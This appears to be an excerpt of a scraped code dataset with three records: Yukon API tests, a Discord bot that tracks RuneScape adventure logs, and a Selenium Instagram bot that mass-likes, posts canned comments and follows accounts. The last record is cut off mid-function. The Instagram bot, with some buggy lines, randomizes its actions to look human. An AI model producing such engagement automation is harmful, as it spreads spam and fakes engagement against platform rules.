tester_node:\n # Published heartbeat fields can be configured as follows.\n node.heartbeat_publisher.mode = uavcan.node.Mode_1.OPERATIONAL # type: ignore\n node.heartbeat_publisher.vendor_specific_status_code = os.getpid() % 100\n node.registry.setdefault(\"analog.rcpwm.deadband\", ValueProxy(Real32(0.1)))\n tester_node.heartbeat_publisher.mode = uavcan.node.Mode_1.OPERATIONAL # type: ignore\n tester_node.heartbeat_publisher.vendor_specific_status_code = (os.getpid() - 1) % 100\n yukon_process = await create_yukon(124)\n await asyncio.sleep(7) # An extra wait to make sure that Yukon has read the registers by now.\n node.registry[\"analog.rcpwm.deadband\"] = ValueProxy(Real32(0.2))\n node.start()\n tester_node.start()\n session = aiohttp.ClientSession()\n avatars_response = await session.get(\"http://localhost:5001/api/get_avatars\", timeout=3)\n if avatars_response.status != 200:\n return False\n avatars = await avatars_response.json()\n\n for avatar in avatars[\"avatars\"]:\n if avatar[\"node_id\"] == node.id:\n correct_avatar = avatar\n assert correct_avatar\n assert math.isclose(\n correct_avatar[\"registers_exploded_values\"][\"analog.rcpwm.deadband\"][\"real32\"][\"value\"][0],\n 0.1,\n abs_tol=0.0001,\n )\n correct_avatar = None\n del avatars\n await session.get(\n \"http://localhost:5001/api/reread_registers\",\n json={\"arguments\": [{node.id: {\"analog.rcpwm.deadband\": True}}]},\n timeout=3,\n )\n await asyncio.sleep(1) # Give it some time to make sure it finishes the reread\n avatars_response = await session.get(\"http://localhost:5001/api/get_avatars\", timeout=3)\n if avatars_response.status != 200:\n return False\n avatars = await avatars_response.json()\n assert avatars\n for avatar in avatars[\"avatars\"]:\n if avatar[\"node_id\"] == node.id:\n correct_avatar = avatar\n assert correct_avatar\n assert math.isclose(\n correct_avatar[\"registers_exploded_values\"][\"analog.rcpwm.deadband\"][\"real32\"][\"value\"][0],\n 0.2,\n abs_tol=0.0001,\n )\n del correct_avatar\n del avatars\n finally:\n if session:\n await session.close()\n if yukon_process:\n kill(yukon_process.pid)\n await asyncio.sleep(1)\n\n async def test_update_register_value(self):\n \"\"\"Initialize Yukon. Make a test_subject and a tester node.\n 1. Set the value of analog.rcpwm.deadband to 0.00004699999873689376.\n 2. Make a request to localhost:5001/api/update_register_value, this will make Yukon set the register value.\n 3. Use the tester node to verify that the register value has changed.\n 4. Compare the values the register node received and the value that Yukon reports that it changed the register\n to.\n Note:\n Testing is done on port 5001 and the actual application uses port 5000\n \"\"\"\n session = None\n yukon_process = None\n try:\n yukon_process = await create_yukon(124)\n with pycyphal.application.make_node(\n make_test_node_info(\"test_subject\"), get_registry_with_transport_set_up(126)\n ) as node, pycyphal.application.make_node(\n make_test_node_info(\"tester\"),\n get_registry_with_transport_set_up(127),\n ) as tester_node:\n # Published heartbeat fields can be configured as follows.\n node.heartbeat_publisher.mode = uavcan.node.Mode_1.OPERATIONAL # type: ignore\n node.heartbeat_publisher.vendor_specific_status_code = os.getpid() % 100\n node.registry.setdefault(\"analog.rcpwm.deadband\", ValueProxy(Real32(0.00004699999873689376)))\n tester_node.heartbeat_publisher.mode = uavcan.node.Mode_1.OPERATIONAL # type: ignore\n tester_node.heartbeat_publisher.vendor_specific_status_code = (os.getpid() - 1) % 100\n node.start()\n tester_node.start()\n\n session = aiohttp.ClientSession()\n http_update_response = await session.post(\n \"http://localhost:5001/api/update_register_value\",\n json={\n \"arguments\": [\n \"analog.rcpwm.deadband\",\n {\n \"real32\": {\"value\": [0.00004599999873689376]},\n \"_meta_\": {\"mutable\": True, \"persistent\": True},\n },\n 126,\n ]\n },\n timeout=3,\n )\n service_client = tester_node.make_client(uavcan.register.Access_1_0, node.id)\n msg = uavcan.register.Access_1_0.Request()\n msg.name.name = \"analog.rcpwm.deadband\"\n verification_response = await service_client.call(msg)\n obj = verification_response[0]\n # verification_exploded_value = explode_value(\n # obj.value, metadata={\"mutable\": obj.mutable, \"persistent\": obj.persistent}\n # )\n # verification_exploded_value_str = json.dumps(verification_exploded_value, cls=EnhancedJSONEncoder)\n verification_simplified_value = str(explode_value(obj.value, simplify=True))\n if verification_response is not None:\n logger.debug(\"Response: %s\", verification_response)\n if http_update_response.status != 200:\n return False\n try:\n response_update = json.loads(await http_update_response.text())\n except json.decoder.JSONDecodeError:\n return False\n logger.debug(\"response_update: %s\", response_update)\n\n if response_update.get(\"success\") is not True:\n return False\n assert verification_simplified_value == response_update.get(\"value\")\n except (requests.exceptions.ConnectionError, requests.exceptions.ReadTimeout):\n logger.exception(\"Connection error\")\n raise Exception(\n \"Update registers command to Yukon FAILED,\"\n f\" API was not available. Connection error.\\n {traceback.format_exc(chain=False)}\"\n ) from None\n finally:\n if session:\n await session.close()\n if yukon_process:\n kill(yukon_process.pid)\n await asyncio.sleep(1)\n\n async def test_simplify_configuration(self):\n \"\"\"Initialize Yukon.\n 1. Make a request to localhost:5001/api/simplify_configuration, this will make Yukon simplify the configuration.\n 2. Check if the value is as expected.\n Note:\n Testing is done on port 5001 and the actual application uses port 5000\n \"\"\"\n session = None\n yukon_process = None\n try:\n yukon_process = await create_yukon(128)\n session = aiohttp.ClientSession()\n http_simplify_response = await session.post(\n \"http://localhost:5001/api/simplify_configuration\",\n json={\"arguments\": [{\"analog.rcpwm.deadband\": {\"real32\": {\"value\": [0.000046]}}}]},\n timeout=3,\n )\n if http_simplify_response.status != 200:\n return False\n try:\n response_simplify = json.loads(await http_simplify_response.text())\n except json.decoder.JSONDecodeError:\n return False\n logger.debug(\"response_simplify: %s\", response_simplify)\n assert math.isclose(response_simplify.get(\"analog.rcpwm.deadband\"), 0.000046, abs_tol=0.0001)\n except (requests.exceptions.ConnectionError, requests.exceptions.ReadTimeout):\n logger.exception(\"Connection error\")\n raise Exception(\n \"Simplify configuration command to Yukon FAILED,\"\n f\" API was not available. Connection error.\\n {traceback.format_exc(chain=False)}\"\n ) from None\n finally:\n if session:\n await session.close()\n if yukon_process:\n kill(yukon_process.pid)\n await asyncio.sleep(1)\n\n async def test_unsimplify_configuration(self):\n \"\"\"Initialize Yukon.\n 1. Set the value of analog.rcpwm.deadband in Yukon to 0.1.\n 2. Make a request to localhost:5001/api/unsimplify_configuration,\n this will make Yukon unsimplify the configuration.\n 3. Check if the value is as expected.\n Note:\n Testing is done on port 5001 and the actual application uses port 5000\n \"\"\"\n session = None\n yukon_process = None\n try:\n yukon_process = await create_yukon(129)\n with pycyphal.application.make_node(\n make_test_node_info(\"test_subject\"), get_registry_with_transport_set_up(126)\n ) as node:\n node.registry.setdefault(\"analog.rcpwm.deadband\", ValueProxy(Real32(0.1)))\n session = aiohttp.ClientSession()\n await asyncio.sleep(3)\n http_unsimplify_response = await session.post(\n \"http://localhost:5001/api/unsimplify_configuration\",\n json={\"arguments\": [{\"126\": {\"analog.rcpwm.deadband\": [0.1]}}]},\n timeout=3,\n )\n if http_unsimplify_response.status != 200:\n return False\n try:\n response_unsimplify = json.loads(await http_unsimplify_response.text())\n except json.decoder.JSONDecodeError:\n return False\n logger.debug(\"response_unsimplify: %s\", response_unsimplify)\n node_id_exists = response_unsimplify.get(\"126\")\n register_exists = response_unsimplify.get(\"126\").get(\"analog.rcpwm.deadband\")\n datatype_exists = response_unsimplify.get(\"126\").get(\"analog.rcpwm.deadband\").get(\"real32\")\n datatype_has_value = (\n response_unsimplify.get(\"126\").get(\"analog.rcpwm.deadband\").get(\"real32\").get(\"value\")\n )\n datatype_value_is_correct = math.isclose(\n response_unsimplify.get(\"126\").get(\"analog.rcpwm.deadband\").get(\"real32\").get(\"value\")[0],\n 0.1,\n abs_tol=0.0001,\n )\n assert (\n node_id_exists\n and register_exists\n and datatype_exists\n and datatype_exists\n and datatype_has_value\n and datatype_value_is_correct\n )\n except (requests.exceptions.ConnectionError, requests.exceptions.ReadTimeout):\n logger.exception(\"Connection error\")\n raise Exception(\n \"Unsimplify configuration command to Yukon FAILED,\"\n f\" API was not available. Connection error.\\n {traceback.format_exc(chain=False)}\"\n ) from None\n finally:\n if session:\n await session.close()\n if yukon_process:\n kill(yukon_process.pid)\n await asyncio.sleep(1)\n\n async def test_attach_detach(self):\n \"\"\"Initialize Yukon.\n 1. Make a request to localhost:5001/api/attach, this will make Yukon attach to the node.\n 2. Check if the value is as expected.\n 3. Make a request to localhost:5001/api/detach, this will make Yukon detach from the node.\n 4. Check if the value is as expected.\n Note:\n Testing is done on port 5001 and the actual application uses port 5000\n \"\"\"\n session = None\n yukon_process = None\n try:\n yukon_process = await create_yukon(130)\n session = aiohttp.ClientSession()\n http_get_interfaces_response = await session.get(\n \"http://localhost:5001/api/get_connected_transport_interfaces\"\n )\n interfaces_response_object: typing.List[typing.Dict[typing.Union[str, int]]] = json.loads(\n await http_get_interfaces_response.text()\n ).get(\"interfaces\")\n main_interface_found = False\n for interface in interfaces_response_object:\n if interface.get(\"udp_iface\") == \"127.0.0.1\":\n interface_hash = interface.get(\"hash\")\n main_interface_found = True\n break\n assert main_interface_found\n http_detach_response = await session.post(\n \"http://localhost:5001/api/detach_transport\", json={\"arguments\": [interface_hash]}\n )\n if http_detach_response.status != 200:\n assert False\n try:\n response_detach = json.loads(await http_detach_response.text())\n except json.decoder.JSONDecodeError:\n assert False\n logger.debug(\"response_detach: %s\", response_detach)\n assert response_detach.get(\"is_success\") is True\n except (requests.exceptions.ConnectionError, requests.exceptions.ReadTimeout):\n logger.exception(\"Connection error\")\n raise Exception(\n \"Attach/detach command to Yukon FAILED,\"\n f\" API was not available. Connection error.\\n {traceback.format_exc(chain=False)}\"\n ) from None\n finally:\n if session:\n await session.close()\n if yukon_process:\n kill(yukon_process.pid)\n await asyncio.sleep(1)\n","repo_name":"OpenCyphal/yukon","sub_path":"tests/src/necessary/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":16940,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"} +{"seq_id":"15858358472","text":"import urllib\nimport os\nimport sys\nimport datetime\nimport xmltodict\nimport time\n\nfrom faith_utilities import get_rsn\nfrom faith_utilities import say\nfrom faith_utilities import tail\nfrom discord.ext import commands\n\n\nclass Alog(commands.Cog):\n def __init__(self, client):\n self.client = client\n self.counter = 0\n\n @commands.command(name='alog',\n brief=\"Adventurer's Log related commands\",\n pass_context=True)\n async def alog(self, context):\n argv = context.message.content[7:]\n if len(argv) < 2:\n alog_docs = open(\"alog_docs.txt\", 'r')\n alog_help = alog_docs.read()\n alog_docs.close()\n await context.message.channel.send(alog_help)\n return\n\n args = argv.split(' ')\n rsn = get_rsn(context.message.author.mention)\n\n if rsn is None:\n await context.message.channel.send(\"Hey \" + context.message.author.mention + \", you haven't set your RSN yet. Set it with ::setrsn\")\n return\n\n if args[0] == 'activate':\n user_tracking = active_tracking(rsn)\n if user_tracking is True:\n await context.message.channel.send(\"User \" + rsn + \" added to active tracking roster.\")\n else:\n await context.message.channel.send(\"I'm already keeping track of your adventurer log \" + rsn)\n elif args[0] == 'track':\n await context.message.channel.send(track(self.client, context.message.channel, rsn))\n elif args[0] == 'drops':\n await context.message.channel.send(\"Getting drops for \" + rsn)\n await context.message.channel.send(pull_drops(rsn))\n elif args[0] == 'xp':\n await context.message.channel.send(\"Getting XP milestones for \" + rsn)\n await context.message.channel.send(pull_xp(rsn))\n elif args[0] == 'full':\n alog = (pull_alog(rsn))\n log = alog.split('\\n')\n max = 10\n n = 0\n line = \"\"\n #items = [log[i:i + n] for i in range(0, len(log), n)]\n for item in log:\n line += item + '\\n'\n n += 1\n if n == max:\n await context.message.author.send(line)\n line = \"\"\n n = 0\n time.sleep(2)\n\n await context.message.channel.send(\"Check your private messages to see your full Adventurer's Log\")\n elif args[0] == 'help':\n alog_docs = open(\"alog_docs.txt\", 'r')\n alog_help = alog_docs.read()\n alog_docs.close()\n await context.message.channel.send(alog_help)\n return\n elif args[0] == 'reset':\n await context.message.channel.send(\"Resetting logs for \" + rsn)\n reset_user(rsn)\n else:\n await context.message.channel.send(\"Command not recognized.\")\n\n\ndef track(client, channel, rsn):\n print(\"Track request received\")\n tracking_roster = open(os.path.join(sys.path[0], \"alogs/roster.txt\"), \"r\")\n roster = tracking_roster.read()\n print(\"Roster Saved\")\n tracking_roster.close()\n\n if rsn in roster:\n track_user(rsn)\n return(\"User \" + rsn + \"'s Adventurer Log has been updated.\")\n else:\n return(\"Your adventures are not currently being tracked. Please enable tracking by doing ::alog activate\")\n\n\ndef pull_drops(rsn):\n drop_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"drop_log\" + \".txt\"), \"r\")\n drops = drop_log.read()\n drop_log.close()\n return(\"```------Drop List for \" + rsn + '------\\n' + drops + \"---------------------------------```\")\n\n\ndef pull_alog(rsn):\n user_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"adv_log\" + \".txt\"), \"r\")\n log = user_log.read()\n user_log.close()\n return (\"```------Adventurer's Log for \" + rsn + '------\\n' + log + \"---------------------------------```\")\n\n\ndef pull_xp(rsn):\n xp_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"xp_log\" + \".txt\"), \"r\")\n xp_line = xp_log.read()\n xp_log.close()\n\n xp = xp_line.split(':')\n\n return (\"You have achieved \" + xp[1] + \" experience milestones since I started following your adventures, \" + rsn + '.')\n\n\ndef active_tracking(rsn):\n tracking_roster = open(os.path.join(sys.path[0], \"alogs/roster.txt\"), \"r\")\n roster = tracking_roster.read()\n tracking_roster.close()\n\n if rsn not in roster:\n tracking_roster = open(os.path.join(sys.path[0], \"alogs/roster.txt\"), \"a\")\n tracking_roster.write(rsn + '\\n')\n tracking_roster.close()\n\n try:\n os.mkdir(\"alogs/\" + rsn + \"/\")\n adv_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"adv_log\" + \".txt\"), \"w\")\n drop_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"drop_log\" + \".txt\"), \"w\")\n xp_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"xp_log\" + \".txt\"), \"w\")\n xp_log.write(\"Experience milestones:0\")\n\n adv_log.close()\n drop_log.close()\n xp_log.close()\n except (FileExistsError):\n print(\"User files exist, running trace.\")\n\n track_user(rsn)\n\n LOGGING_FILE = open(\"alog_beta_log.txt\", 'a')\n LOGGING_FILE.write('--------------------------------------------------------------------------\\n'\n 'END OF LOG UPDATES\\n'\n '--------------------------------------------------------------------------\\n')\n LOGGING_FILE.close()\n\n return True\n else:\n return False\n\n\ndef track_user(rsn):\n LOGGING_FILE = open(\"alog_beta_log.txt\", 'a')\n\n LOGGING_FILE.write(\"-----------------------------------------------------------\\n\")\n LOGGING_FILE.write(\"User Being Tracked: \" + rsn + \"\\n\")\n LOGGING_FILE.write(datetime.datetime.now().__str__() + \"\\n\")\n\n rsn_append = ''\n rsn_split = []\n\n if ' ' in rsn:\n rsn_split = rsn.split(\" \")\n\n for substr in rsn_split:\n rsn_append += substr + '%20'\n rsn_append = rsn_append[:-3]\n else:\n rsn_append = rsn\n\n user_page = 'http://services.runescape.com/m=adventurers-log/c=tB0ermS1flc/rssfeed?searchName=' + rsn_append\n LOGGING_FILE.write(\"User URL: \" + user_page + '\\n')\n\n try:\n rss_feed = urllib.request.urlopen(user_page)\n data = rss_feed.read()\n rss_feed.close()\n\n data = xmltodict.parse(data)\n\n data_table = data['rss']['channel']\n\n events = data_table['item']\n except urllib.error.HTTPError:\n LOGGING_FILE.write(\"ERROR: HTTP Error: User page not found.\\n\")\n LOGGING_FILE.write(\"RSN: \" + rsn + \"\\n\")\n LOGGING_FILE.write(\"RSN Split: \" + str(rsn_split) + '\\n')\n LOGGING_FILE.write(\"RSN Append: \" + rsn_append + '\\n')\n LOGGING_FILE.write(\"-----------------------------------------------------------\\n\\n\\n\")\n return\n\n\n try:\n user_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"adv_log\" + \".txt\"), \"a\")\n drop_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"drop_log\" + \".txt\"), \"r+\")\n xp_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"xp_log\" + \".txt\"), \"r+\")\n check_user_file = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"adv_log\" + \".txt\"), \"r\")\n except FileNotFoundError:\n try:\n user_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"adv_log\" + \".txt\"), \"w+\")\n drop_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"drop_log\" + \".txt\"), \"w+\")\n xp_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"xp_log\" + \".txt\"), \"w+\")\n check_user_file = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"adv_log\" + \".txt\"), \"w+\")\n except OSError:\n LOGGING_FILE.write(\"Creation of the directory failed\\n\")\n LOGGING_FILE.write(\"-----------------------------------------------------------\\n\\n\\n\")\n return\n\n try:\n drop_list = drop_log.read()\n drops = drop_list.split('\\n')\n drop_log.close()\n\n xp_info = xp_log.read()\n xp_log.close()\n except NameError:\n LOGGING_FILE.write(\"Name Error\")\n LOGGING_FILE.write(\"-----------------------------------------------------------\\n\\n\\n\")\n return\n\n # checks if user has stored alog\n if check_user_file.readline().__len__() > 2:\n LOGGING_FILE.write(\"Path: \" + \"alogs/\" + rsn + \"/\" + \"adv_log\" + \".txt\\n\")\n recent_items = tail(\"alogs/\" + rsn + \"/\" + \"adv_log\" + \".txt\", 5)\n\n try:\n if recent_items[0] is None:\n LOGGING_FILE.write(\"SEEK ERROR: Caused during tail of \" + rsn +\"'s log.\")\n return\n except IndexError:\n LOGGING_FILE.write(\"INDEX ERROR: Caused during tail of \" + rsn + \"'s log.\")\n return\n\n new_events = []\n for event in events:\n event_data = event['title'] + \":\" + event['description']\n if event_data not in recent_items:\n new_events.append(event_data)\n user_log.write(event_data)\n\n for event in new_events:\n if 'experience points' in event:\n xp_data = xp_info.split(':')\n xp_data[1] = str(int(xp_data[1]) + 1)\n xp_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"xp_log\" + \".txt\"), \"w\")\n xp_log.write(xp_data[0] + ':' + xp_data[1])\n xp_log.close()\n elif 'I found' in event:\n drop_data = event.split(':')\n new_drop = drop_data[0]\n try:\n if drop_data[2] is not None:\n new_drop += \":\" + drop_data[1]\n except IndexError:\n pass\n\n LOGGING_FILE.write(\"New drop: \" + new_drop + \"\\n\")\n for old_drop in drops:\n utd = False\n old_drop_data = old_drop.split(':')\n old = old_drop_data[0]\n try:\n if old_drop_data[2] is not None:\n old += ':' + old_drop_data[1]\n except IndexError:\n pass\n\n if new_drop == old:\n old_drop_data[1] = str(int(old_drop_data[-1]) + 1)\n utd = True\n LOGGING_FILE.write(\"Drop counter incremented.\\n\")\n break\n if utd is False:\n if 'pet' in new_drop:\n drops.append(new_drop)\n else:\n drops.append(new_drop + \":1\")\n LOGGING_FILE.write(\"New drop added to counter.\\n\")\n\n drop_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"drop_log\" + \".txt\"), \"w\")\n for drop in drops:\n drop_data = drop.split(':')\n print(drop_data)\n print(\"\\n\\n\")\n try:\n if drop_data[2] is not None:\n write_drop = drop_data[0] + \": \" + drop_data[1] + \":\" + drop_data[2]\n except IndexError:\n try:\n write_drop = drop_data[0] + \":\" + drop_data[1]\n except IndexError:\n write_drop = drop_data[0]\n\n drop_log.write(write_drop + \"\\n\")\n\n check_user_file.close()\n xp_log.close()\n drop_log.close()\n\n LOGGING_FILE.write(\"\")\n LOGGING_FILE.close()\n\n\ndef update_logs():\n tracking_roster = open(os.path.join(sys.path[0], \"alogs/roster.txt\"), \"r\")\n roster = tracking_roster.read()\n tracking_roster.close()\n\n users = roster.split('\\n')\n\n for user in users:\n user.strip('\\n')\n if user.__len__() >= 1:\n track_user(user)\n\n LOGGING_FILE = open(\"alog_beta_log.txt\", 'a')\n LOGGING_FILE.write('--------------------------------------------------------------------------\\n'\n 'END OF LOG UPDATES\\n'\n '--------------------------------------------------------------------------\\n')\n LOGGING_FILE.close()\n\n\ndef reset_user(rsn):\n adv_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"adv_log\" + \".txt\"), \"w\")\n drop_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"drop_log\" + \".txt\"), \"w\")\n xp_log = open(os.path.join(sys.path[0], \"alogs/\" + rsn + \"/\" + \"xp_log\" + \".txt\"), \"w\")\n xp_log.write(\"Experience milestones:0\")\n\n adv_log.close()\n drop_log.close()\n xp_log.close()\n\n\ndef setup(client):\n client.add_cog(Alog(client))\n","repo_name":"cattegrin/Faith","sub_path":"faith_alog.py","file_name":"faith_alog.py","file_ext":"py","file_size_in_byte":13333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2248811958","text":"from tkinter.tix import Tree\r\nfrom turtle import pos\r\nfrom xmlrpc.client import FastParser\r\nfrom selenium import webdriver\r\nimport time\r\nimport re\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom random import randint, random\r\nfrom random import shuffle\r\n\r\nchrome_browser = webdriver.Chrome()\r\nchrome_browser.maximize_window()\r\nposts = []\r\naccs = []\r\ntags =[]\r\nlinkbyTag = \"\"\r\n\r\n\r\n# def decorator(func):\r\n# def wrapper(*arg, **kwargs):\r\n# func(*arg, **kwargs)\r\n# time.sleep(2)\r\n# controller()\r\n# return wrapper\r\n\r\n\r\n# @decorator\r\ndef login(username , password):\r\n \"\"\"\r\n logs into your account .\r\n needs username and password to be passed \r\n \"\"\"\r\n chrome_browser.get(\"https://www.instagram.com/\")\r\n try:\r\n exist = WebDriverWait(chrome_browser, 10).until(\r\n EC.presence_of_element_located((By.TAG_NAME, \"input\"))\r\n )\r\n # print(allCards) \r\n except:\r\n print(\"exist\")\r\n finally:\r\n inputs = chrome_browser.find_elements_by_tag_name(\"input\")\r\n inputs[0].send_keys(username)\r\n inputs[1].send_keys(password)\r\n time.sleep(2)\r\n btn = chrome_browser.find_element_by_css_selector(\"button > div\")\r\n print(btn)\r\n btn.click()\r\n time.sleep(4)\r\n\r\n\r\ndef unfollow(username):\r\n chrome_browser.get(f\"https://www.instagram.com/{username}/following/\")\r\n try :\r\n divlist = WebDriverWait(chrome_browser , 10).until(EC.presence_of_element_located((By.CLASS_NAME , \"jSC57\")))\r\n except:\r\n print(\"error 0{divlist}\")\r\n followingList = chrome_browser.find_element_by_css_selector(\"ul.jSC57\").find_element_by_tag_name(\"li\")\r\n unfollowBtn = []\r\n for f in followingList:\r\n unfollowBtn.append(f.find_element_by_tag_name(\"button\"))\r\n for btn in unfollowBtn:\r\n btn.click()\r\n try :\r\n div = WebDriverWait(chrome_browser , 10).until(EC.presence_of_element_located((By.CLASS_NAME , \"mt3GC\")))\r\n except:\r\n print(\"error\")\r\n if div:\r\n sub= chrome_browser.find_element_by_class_name(\"-Cab_\")\r\n sub.click()\r\n# @decorator\r\ndef setTag(tagname):\r\n \"\"\"\r\n set a tag name to find posts with.\r\n \"\"\"\r\n print(tagname)\r\n global linkbyTag \r\n if tagname ==\"\": \r\n tagname = input(\"please enter your tag : \\n\\t\")\r\n if len(tagname) > 20 :\r\n linkbyTag = tagname\r\n else:\r\n linkbyTag = f\"https://www.instagram.com/explore/tags/{tagname}\"\r\n\r\n\r\n# @decorator\r\ndef getPosts():\r\n \"\"\"\r\n finds posts with tag name\r\n \"\"\"\r\n global linkbyTag\r\n global posts\r\n countForThisTag =0 \r\n try:\r\n chrome_browser.get(linkbyTag)\r\n time.sleep(5)\r\n allLinks = chrome_browser.find_elements_by_css_selector(\"a\")\r\n \r\n for link in allLinks:\r\n if countForThisTag < 25:\r\n temp = re.template(r\"(?=\\/p\\/)\")\r\n href = link.get_attribute(\"href\")\r\n res = temp.findall(href)\r\n if res and randint(0,10)>2:\r\n posts.append(href)\r\n countForThisTag += 1\r\n else:\r\n print(\"max size reached !!\")\r\n break\r\n except Exception as err:\r\n print(f\"error in getting posts : {err}\")\r\n time.sleep(5)\r\n \r\n# @decorator\r\ndef likePosts():\r\n \"\"\"likes a list of posts . you need to define posts first in getPosts()\"\"\"\r\n index = 0\r\n print(f\"total is : {len(posts)}\")\r\n shuffle(posts)\r\n for p in posts:\r\n chrome_browser.get(p)\r\n try:\r\n likebut = WebDriverWait(chrome_browser, 10).until(\r\n EC.presence_of_element_located((By.CLASS_NAME, \"ltpMr\"))\r\n ) \r\n except Exception as err:\r\n print(f\"something went wrong !! : \\n\\t{err}\")\r\n continue\r\n if likebut :\r\n parel= chrome_browser.find_element_by_css_selector(\".ltpMr \")\r\n isLiked = parel.find_element_by_css_selector(\"._8-yf5 \")\r\n isLiked = isLiked.get_attribute(\"fill\") \r\n print(isLiked)\r\n if isLiked == \"#262626\":\r\n all_actions = chrome_browser.find_elements_by_css_selector(\"section.ltpMr > span\")\r\n all_actions[0].click()\r\n index += 1\r\n time.sleep(4)\r\n print(f\"* index is: {index} *\")\r\n else: \r\n print(\"already liked !\")\r\n\r\n# @decorator\r\ndef cmAndLike(cmlist):\r\n \"\"\"gets a list of comments to post under any video or pic(randomly)\"\"\"\r\n shuffle(posts)\r\n totalCommented = 0\r\n index = 0\r\n for p in posts : \r\n # time.sleep(5)\r\n if totalCommented > 70:\r\n print(\"max comment reached !!\")\r\n break\r\n try:\r\n chrome_browser.get(p)\r\n time.sleep(4)\r\n likebut = WebDriverWait(chrome_browser, 10).until(\r\n EC.presence_of_element_located((By.CLASS_NAME, \"ltpMr\"))\r\n ) \r\n except Exception as err:\r\n print(f\"something went wrong !! : \\n\\t{err}\")\r\n continue\r\n if likebut :\r\n parel= chrome_browser.find_element_by_css_selector(\".ltpMr \")\r\n isLiked = parel.find_elements_by_css_selector(\"._8-yf5 \")\r\n isLiked = isLiked[1].get_attribute(\"fill\") \r\n print(isLiked)\r\n if isLiked == \"#262626\":\r\n all_actions = chrome_browser.find_elements_by_css_selector(\"section.ltpMr > span\")\r\n all_actions[0].click()\r\n index += 1\r\n time.sleep(5)\r\n print(f\"* index is: {index} *\")\r\n else: \r\n print(\"already liked !\")\r\n continue\r\n try:\r\n element = WebDriverWait(chrome_browser, 10).until(\r\n EC.presence_of_element_located((By.CLASS_NAME, \"Ypffh\"))\r\n )\r\n except Exception as err:\r\n print(f\"something went wrong !! : \\n\\t{err}\")\r\n continue\r\n if element :\r\n try:\r\n if randint(0,10) > 3 :\r\n textarea = chrome_browser.find_element_by_class_name(\"Ypffh\")\r\n form = chrome_browser.find_element_by_class_name(\"X7cDz\")\r\n textarea.click()\r\n textarea = chrome_browser.find_element_by_class_name(\"Ypffh\")\r\n cm = cmlist[randint(0 , len(cmlist)-1)]\r\n textarea.send_keys(cm)\r\n form.submit()\r\n totalCommented+=1\r\n time.sleep(5)\r\n except Exception as err:\r\n print(f\"something went wrong !! : \\n\\t{err}\")\r\n print(f\"checkout comment : {cm} .\")\r\n continue\r\n\r\n# @decorator \r\ndef findSimilar(keyword):\r\n \"\"\"\r\n finds any similar account or tag,similar to your keyword. \r\n pass the keyword to set the list of accounts \r\n \"\"\"\r\n try:\r\n searcher = WebDriverWait(chrome_browser, 10).until(\r\n EC.presence_of_element_located((By.CLASS_NAME, \"XTCLo\"))\r\n ) \r\n except:\r\n print(\"searcher\")\r\n search = chrome_browser.find_element_by_class_name(\"XTCLo\")\r\n search.clear()\r\n search.send_keys(keyword)\r\n time.sleep(5)\r\n try:\r\n allCards = WebDriverWait(chrome_browser, 10).until(\r\n EC.presence_of_element_located((By.CLASS_NAME, \"fuqBx\"))\r\n )\r\n # print(allCards) \r\n except:\r\n print(\"allCards\")\r\n if allCards :\r\n allLinks = chrome_browser.find_elements_by_class_name(\"-qQT3\")\r\n for link in allLinks:\r\n if len(accs) > 55:\r\n print(\"max size reached !!\")\r\n break\r\n l = link.get_attribute(\"href\")\r\n isTag = l.find(\"tags\") \r\n if isTag== -1:\r\n accs.append(l)\r\n else:\r\n tags.append(l)\r\n\r\n print(f\"{len(tags)} tags are detected\")\r\n print(f\"{len(accs)} accounts are detected\")\r\n \r\n# @decorator\r\ndef follow():\r\n \"\"\"\r\n follows users by account username . \r\n first use findSimilar() to set the account list\r\n \"\"\"\r\n totalFollowed = 0\r\n print(accs)\r\n while totalFollowed <50:\r\n shuffle(accs)\r\n for acc in accs:\r\n chrome_browser.implicitly_wait(2)\r\n try:\r\n chrome_browser.get(acc)\r\n try:\r\n followbut = WebDriverWait(chrome_browser, 10).until(\r\n EC.presence_of_element_located((By.CLASS_NAME, \"_6VtSN\"))\r\n )\r\n # print(allCards) \r\n except:\r\n print(followbut) \r\n if followbut:\r\n btn = chrome_browser.find_element_by_class_name(\"_6VtSN\")\r\n txt = btn.get_attribute(\"innerHTML\")\r\n if txt == \"Follow\" and worthFollow():\r\n chrome_browser.implicitly_wait(4)\r\n print( acc[26:len(acc)-1])\r\n btn.click()\r\n totalFollowed+=1\r\n \r\n else:\r\n continue\r\n except Exception as err :\r\n print(f\"couldnt follow user ! : {err}\")\r\n continue\r\n print(f\"total accs followed : {totalFollowed}\")\r\n\r\ndef worthFollow():\r\n postNum = chrome_browser.find_element_by_css_selector(\"span.g47SY\")[0].get_attribute(\"innerHTML\")\r\n if int(postNum) < 2 :\r\n return False\r\n followStates = chrome_browser.find_elements_by_css_selector(\"a.-nal3>span\")\r\n followers = followStates[0].get_attribute(\"innerHTML\")\r\n followings = followStates[1].get_attribute(\"innerHTML\")\r\n if int(followers) < 2000 and int(followers) 